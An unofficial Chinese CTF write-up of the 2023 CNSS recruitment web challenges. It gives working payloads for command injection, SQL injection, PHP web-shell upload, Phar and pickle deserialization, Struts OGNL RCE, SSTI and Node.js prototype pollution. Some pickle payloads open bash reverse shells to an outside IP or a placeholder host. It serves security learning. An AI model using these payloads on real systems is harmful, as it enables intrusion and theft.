2023 CNSS Recruit Web Writeup(unofficial)

非官方,题目描述会单独出

2024年3月5日 更改
之前在Typora上写的直接复制粘贴过来好像有些东西错位了,现在重新修改了一下,然后加上了之前没有解出的题目。
题目的描述我之前赶在网站关闭的前一天保存了,可以在这里下载,但是我没有题目环境。
没做出来的题目部分参考了Fan神Yuki佬的WP

我承认我偷懒了,不要喷我球球了🥺


[Baby]🦴 babyHTTP

进入题目网址,显示Please GET me a CNSS with a value of 'hackers'.

即进行GET请求,key为CNSS,value为hackers,根据题意构造Payload:http://124.221.34.13:55555/?CNSS=hackers

返回And I need you POST a web with a value of 'fun'.

即进行POST请求,key为web,value为fun 可以使用python的requests模块发出请求,注意之前的?CNSS=hackers不能丢

>>>import requests
>>>requests.post("http://124.221.34.13:55555/?CNSS=hackers",data={"web":"fun"}).text
'Do you know cookie?You are not admin!'

显示我们不是admin,这里应该是通过cookies判断的,我们尝试打印一下cookies

>>>requests.post("http://124.221.34.13:55555/?CNSS=hackers",data={"web":"fun"}).cookies
<RequestsCookieJar[Cookie(version=0, name='admin', value='false', port=None, port_specified=False, domain='124.221.34.13', domain_specified=False, domain_initial_dot=False, path='/', path_specified=False, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={}, rfc2109=False)]>

我们只需要将name='admin', value='false'里的'false'改为'true'即可

>>>requests.post("http://124.221.34.13:55555/?CNSS=hackers",data={"web":"fun"},cookies={"admin": "true"}).text
'CNSS{w2b_1s_Reaiiy_7un!!!}'

CNSS{w2b_1s_Reaiiy_7un!!!}

[Baby]🙋 PHPinfo

输入http://124.221.34.13:55580/phpinfo.php,寻找CNSS字段即可找到flag

CNSS{l3t_u5_l3arn_php1nfo}

[Baby]🏓 Ping

进入题目网址,显示

<?php
function ping($ip_address) {
   $cmd = "ping -c 2 " .$ip_address;
   exec($cmd, $output, $return_code);
​

   if ($return_code !== 0) {
   echo("Error: Failed to execute command.");
  }
​
   return implode("\n", $output);
}
​
if (isset($_POST['ip'])) {
   $ip = $_POST['ip'];
   $ping_result = ping($ip);
   echo nl2br($ping_result);
}else{
   highlight_file(__FILE__);
}
?>

根据题意可得,程序接受一个名为ip的POST请求,并将其值左加"ping -c 2 "后当成代码执行,若无语法错误则输出执行结果,我们可以尝试ping一下127.0.0.1试试看

>>>requests.post("http://124.221.34.13:55566/",data={"ip":"127.0.0.1"}).text
'PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.<br />\n64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.043 ms<br />\n64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.039 ms<br />\n<br />\n--- 127.0.0.1 ping statistics ---<br />\n2 packets transmitted, 2 received, 0% packet loss, time 2ms<br />\nrtt min/avg/max/mdev = 0.039/0.041/0.043/0.002 ms\n'

相当于执行了"ping -c 2 127.0.0.1"这个命令 可以看到了ping的输出结果,既然如此,我们可以在ping的同时,再执行一些额外的命令

>>>requests.post("http://124.221.34.13:55566/",data={"ip":"127.0.0.1;cat /flag"}).text
'PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.<br />\n64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.032 ms<br />\n64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.051 ms<br />\n<br />\n--- 127.0.0.1 ping statistics ---<br />\n2 packets transmitted, 2 received, 0% packet loss, time 1000ms<br />\nrtt min/avg/max/mdev = 0.032/0.041/0.051/0.011 ms<br />\nCNSS{p0ng_p0ng_pong!!!}\n'

相当于执行了"ping -c 2 127.0.0.1;cat /flag"这个命令,服务器在输出了ping的输出结果后,也输出了flag的值

CNSS{p0ng_p0ng_pong!!!}

[Baby+]🥇 我得再快点

进入题目网址,显示让我们输入一串字符串的md5加密,但是这个字符串每隔一秒左右刷新,所以单靠手是不行的,可以考虑脚本。

import requests,re,hashlib
a=requests.get('http://124.221.34.13:55590/').text
b=re.findall("Key : .*?<",a,re.S)[0][6:-1]# 还不太会CSS选择器所以用了正则,各位轻喷
md5_hash = hashlib.md5()#这里直接GPT了
md5_hash.update(b.encode('utf-8'))
md5_hex = md5_hash.hexdigest()
print(requests.get('http://124.221.34.13:55590/check?value='+md5_hex).text)#其实这种粘贴URL的操作不太正规,应该使用urllib库的一些URL拼接函数

CNSS{3njoy_py5cript_n0w}

[Baby+] 🐶 CNSS娘の宠物商店

Hint已经说的很清楚了,就是要登录名为admin的账号

猜测为SQL注入,密码输入123' or 1=1;# 成功进入后台

CNSS{h0W_d1d_y0u_l0g1n_t0_my_4dm1n_p4n3l?}

[Easy] 🥵 2048

题目说要达到1000000分,但1000000分显然是不能拿到的,但是看网站源码可以得到Flag是在本地计算得出的,就可以修改代码 把main.js里的score变量改为9999999999,再点击按钮即可

有一说一,题目html代码里有一句注释,我看不太懂

CNSS{3asy_fr0nt_kn0wledge}

[Easy]👤 换个头像先

题目的Hint里说 ‘真的只能上传图片吗’ ,就是再暗示我们上传木马一类的文件。但是网页端做了限制,只允许上传图片,由于这个检测只存在于前端,我们可以通过burp抓包绕过 制作好小马shell.jpg,内容为

<?php @eval($_POST['shell']);?>

然后上传,再用burp抓包将后缀名改为php,然后使用蚁剑连接,在根目录下找到flag

CNSS{D4ng3r0us_F1l3_Up10ad!}

[Mid] 🔧 where is my unserialize?

通过URL我们可以发现网站上的两个文件flie.php,upload_file.php,通过’查看文件’功能可以顺藤摸瓜获得以下文件

PS的标实在太好看啦:D

根据这些文件我们可以得知flag在F1ag.php里,但是过滤了F1ag等关键字,还有一行注释提醒我们关注Phar,加上题目描述,猜测为Phar反序列化漏洞,利用各个类的链式反应得到Flag。

//省略前面对类的定义
$phar = new Phar('shell.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//这句头部消息也可以不加
$phar -> addFromString('test.txt','test');
$object3=new Show('123');
$object1=new CNSS($object3);
$object2=new CN55;
$object2->params['key']='f1ag.php';
$object3->haha['hehe']=$object2;
$phar -> setMetadata(['objects'=>[$object1,$object2,$object3]]);
$phar -> stopBuffering();

将生成的phar文件后缀名改为shell.gif,提交,然后通过phar伪协议访问,php会对其进行解压处理,然后对meta标签反序列化处理造成漏洞。 根据之前获取的部分网站代码,这里文件名需要改为shell.gif的md5加密值再加上.jpg后缀,存储在/upload文件夹下

payload: url/file.php?file=phar://upload/f3035846cc279a1aff73b7c2c25367b9.jpg,返回内容如下:

phar://upload/f3035846cc279a1aff73b7c2c25367b9.jpg
I know you are in a hurry, but don not rush yet.//这里出题人似乎拼错了单词
GIF89a<?php __HALT_COMPILER(); ?>
PD9waHANCi8vRkxBRz1DTlNTe1kwdV9LbjB3X1BIUF92MnJ5X3dlMTEhIX0NCj8+//分析代码可知这里的就是F1ag.php经过加密后的内容,解密即可获得flag

CNSS{Y0u_Kn0w_PHP_v2ry_we11!!}

[Mid] 7️⃣ EZRCCCCE

进入题目,直接有源码

<?php
highlight_file(__FILE__);
$sandbox = './sandbox/' . md5("Th1s_is_4_sandbox" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
function filter($a){
$a = preg_replace("/(flag|\*|\/|cat|php|bash|txt|tac)/i", "hehehehe", $a);
return $a;}
if (isset($_GET['6']) && strlen($_GET['6']) < 8) { //try to keep fit!
echo(exec(filter($_GET['6'])));
}
?>

显然就是限制了我们一次输入字符的个数,上网看了一下说是linux可以通过\换行输出。我借鉴了一下网上的脚本写出了如下payload:

payload.txt:
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>=\|\\
>Ow=\\
>10p\\
>xsJ\\
>oZW\\
>J3N\\
>1Rb\\
>BPU\\
>kX1\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

其实就是把一句话木马base64编码之后输出然后反向,从而绕过waf

1.py://这个代码不是我写的,好像是CSDN上的,然后给改了一下

import requests

url = "http://124.221.34.13:55559/?6={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

#检查是否攻击成功
test = requests.get("http://124.221.34.13:55559/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

然后用蚁剑连接即可,可以参照这个

CNSS{y0u_kn0w_h0w_7o_k22p_fit}

[Mid] 🐱 Tomcat?cat~

进入题目发现三个输入框,经过验证前两个都可以乱填,第三个输入框的东西会被服务器审查,输入字母会显示错误信息 根据网站标题和错误提示可以判断这是S2-007漏洞 “在s2-007页面的文本框中,age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞”出处

根据题意构造Payload,参考这个就可以构造执行任意命令的代码,Flag有点难找,是在/usr/local/tomcat/webapps/flaaaaaaag/flag.jsp目录下。

Payload:
age=' %2B (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /usr/local/tomcat/webapps/flaaaaaaag/flag.jsp').getInputStream())) %2B '

CNSS{t0mcat_1s_4_cute_cat_m1a0}

[MID] 💻 CNSS娘の聊天室

这一题在招新的时候我没做出来,还是面试官大人给的思路🥺

比较经典的Flask Janja SSTI,但是不允许输入英文,可以使用8进制编码绕过
由于这里我不知道Flag究竟在哪里,我只能以在根目录的情况下举例

原代码:
http://Payload/{{'CNSS'.__class__.__bases__[0].__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os"). popen("cat /flag").read()')}}

CNSS{y0u_ru1n3d_my_ch4tr00m!}

[MID]🚓 can can need shell(尚未解决)

这一题在招新的时候我没做出来

题目的提示给的挺多
这一题根据给出的提示可以知道这就是一个打了补丁的文件上传漏洞,原漏洞出处在这里
补丁对于没有过滤include,所以可以利用这点来include木马得到flag

CNSS{Y0U_H4cked_My_LaRaV31_4dM1n}

🛒 CNSS娘のFlag商店

点进去下载源码,根据题目可以看出这是一个Python Pickle的反序列化漏洞问题,这里需要构造一个Hi对象,他的Name为Rich,Money为2000即可。但是可以看到这里过滤了R字符,所以需要用反序列化将需要和Buyinfo里的name改为不含R的名字就可以解决 需要注意的是,这里使用pickle.loads(user.encode('utf-8'))来对输入进行反序列化的,而PIckle.loads生成的是二进制代码,找了半天,这里应该使用Python2的cPickle,但是有时候cPickle生成的东西会比较奇怪,所以我选择了手搓栈码。同时,学习了反序列化的原理之后我才明白禁R其实本来是想禁R指令,这里的R指令也可以用i o等指令替代,由此构造Payload。(这里有几乎一模一样的题目)

Payload:
URL/?user=(cos%0Asystem%0AS%27bash%20-i%20%26>/dev/tcp/49.232.232.214/3426%20<%261%27%0Aoc__main__%0AbuyInfo%0A(S%27NAME%27%0AS%27Jack%27%0AS%27MONEY%27%0AI200%0Adb(c__main__%0AHi%0AS%27Jack%27%0AI2000%0Ao.

换成人话就是

c__main__
buyInfo#相当于import BuyInfo
(S'name'#(代表一个Mark符,S'name'表示声明一个字符串名为name
S'Jack'
S'age'
I2000#表示声明一个整数
db(c__main__#d将之前声明的变量一对一对组合起来变为字典,b执行buyInfo(字典)
Hi
S'Jack'
I2000
o.

直接拿到Flag

CNSS{fl4g_f0r_r1ch_k1d5}

[MID+] 🔪 CNSS娘の自助Flag商店

有了上一题的基础,这一题就比较好做了,在请教大佬之后,我开始尝试使用Bash反弹shell

Payload:URL/?user=(cos%0Asystem%0AS%27bash%20-i%20/dev/tcp/Your IP/Port%20%27%0Ao.#这里将Your IP和Port替换为你的就行
#即执行了Bash命令将shell反弹到你的主机上

打开具有公网IP的主机,输入nc -lvvp +端口号即可。

CNSS{fl4g_f0r_c1ev3r_k1ds}

[Mid+]🏭 EzPollution_pre

之前完全没有研究过Nodejs,连部署Hexo的时候我都不知道Nodejs在里面是干嘛用的,就根据还算熟悉的html代码分析找到了login.js,欣赏源码之后可以发现这里使用了将用户的输入和user进行了一次copy,找到copy的源码之后发现这就是改名的merge,而这里的user和secret都是字典型(大概?Python里是这么叫的)变量,所以只要污染{},secret就会被污染

看了P神的文章之后发现上传时使用Json格式才能被污染,综上可以构造出

Payload:{"__proto__":{"psych":"p5ych","eva1":"require(\"child_process\")[\"exe\\x63Sync\"](\"cat /flag \")"}}

这里json格式似乎要对很多字符串内的特殊符号进行转义,然后由于exec被过滤,我们采用ascii码绕过,即exe\x63Sync

感谢这篇文章提供了Nodejs的命令执行以及绕过方法

CNSS{v2ry_ea5y_N0dejs}

[Hard]📀 newsql

这一题在招新的时候我没做出来

可以参考https://fanllspd.com/posts/43716/#Hard-%F0%9F%93%80-newsql

CNSS{1_want_t0_b2_b1ghacker}

[Hard]✴️ EzPollution(尚未解决)

🥇 ruoyi with fastjson (尚未解决)

🗡 CNSS娘の复仇 Series(尚未解决)


No comments yet:S

Send your comments here! Edit comments


				
Ciallo~(∠・ω< )⌒☆.
¯\_(ツ)_/¯
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
 ̄﹃ ̄
(/ω\)
→_→
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(ฅ´ω`ฅ)
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
颜文字
tg_emoji
Firefly
鼬子
我有抑郁症
Last page
NexT page